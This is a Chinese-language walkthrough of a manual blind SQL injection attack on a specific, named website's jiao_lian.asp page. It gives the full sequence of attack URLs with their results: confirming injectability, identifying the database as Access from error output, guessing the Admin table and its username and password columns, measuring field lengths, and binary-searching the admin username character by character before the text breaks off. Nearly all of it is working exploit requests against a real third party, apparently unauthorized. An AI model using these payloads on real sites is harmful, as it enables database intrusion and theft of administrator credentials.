第一步:在网址后面加入 单引号’ 即
http://www.shengqiguanli.com/jiao_lian.asp?id=45' 有错
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and 1=1 正常返回
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and 1=2 异常返回
一般可以判断此url可以被sql注入。
3.判断数据库类型 因为当前各种网址使用的语言和数据库各不相同,比如Asp+access 、 Asp+sql server 、php+ my sql /Ms sql 、 Jsp + Oracle / Mysql 、Aspx + Access /Ms Sql 等等。而各种数据库对应的sql语句各不相同,因此首先需要确定数据库类型。
一般方法是:
1) http://www.shengqiguanli.com/jiao_lian.asp?id=45 and user >0
根据错误信息判断数据库类型:
表示为 Access 数据库
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/jiao_lian.asp,行 43
2) http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(*) from sysobjects)>0
3) http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(*) from msysobjects)>0
注释:user 是sql server的内置变量 是nvarchar 如将与int比较 如果是sql server会直接报错,是Access会提示没有改变量
Sysobjects是sql server 的数据库内置表,在web环境下,可以被正常访问
Msysobjects是Access的数据库内置表 在web环境下,不能正常访问。
4.这个是个分水岭的步骤,因为是Access数据库,小弟初来咋到,不知道Access数据库时,有什么好的方法,只能走常规方法,猜!希望有高人直接。
1) 首先猜表
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(*) from Admin)>=0 判断是否有Admin表 返回正常则存在 返回异常则不存在 等同下面的语句
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and exists(select * from Admin)
非常幸运 这个网站按常理出牌了 返回的是正常页面,那么就说明有这个表,这个表中一般都是管理员用户名和密码,我们继续猜。当然如果返回异常,可以继续猜,一般的工具都是使用字典的,穷尽常见的表组成的字典,如果没有匹配的,则认为攻击失败。因此,给数据表已可以有效防止sql注入,但不是最好的方法。
2) 猜字段
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(username) from Admin)>=0
判断是否正常,正常说明存在username字段,我们的是正常的 同理:
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select count(password) from Admin)>=0
很容易想到 这个两个就是用户名和密码字段,已经足够了,继续猜
3) 确定长度
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from Admin)>10
一般用户名不会加密的所以不会很多,先判断是否在10以内。
发现返回异常,说明小于等于10
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from Admin)>5
返回还是异常 说明<=5
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from Admin)>3 返回正常 说明大于3
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(username) from Admin)>4 返回正常 说明大于4
所以可以确定长度是5
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from Admin)>32 一般网站密码是使用md5加密的所以 一般都是32 或者16 当然也有例外,所以先判断是否在32以内
返回异常 说明<=32
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from Admin)>16 返回正常 说明大于16
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from Admin)>24 返回正常 说明大于24
基本上可以确定是32了 我们直接测试32吧
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 len(password) from Admin)=32 返回正常 说明密码是使用md5加密的 32位
4) 继续猜每一位
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>63 利用asc取一位猜测 其值是否大于ascii的中间值 返回正常 继续猜
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>94 利用二分法取 ascii (126+63)/2=94 返回正常 继续猜
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>110 返回异常 说明小于110
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>102 异常
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>98 异常
http://www.shengqiguanli.com/jiao_lian.asp?id=45 and (select top 1 asc(mid(username,1,1)) from Admin)>96 返回正常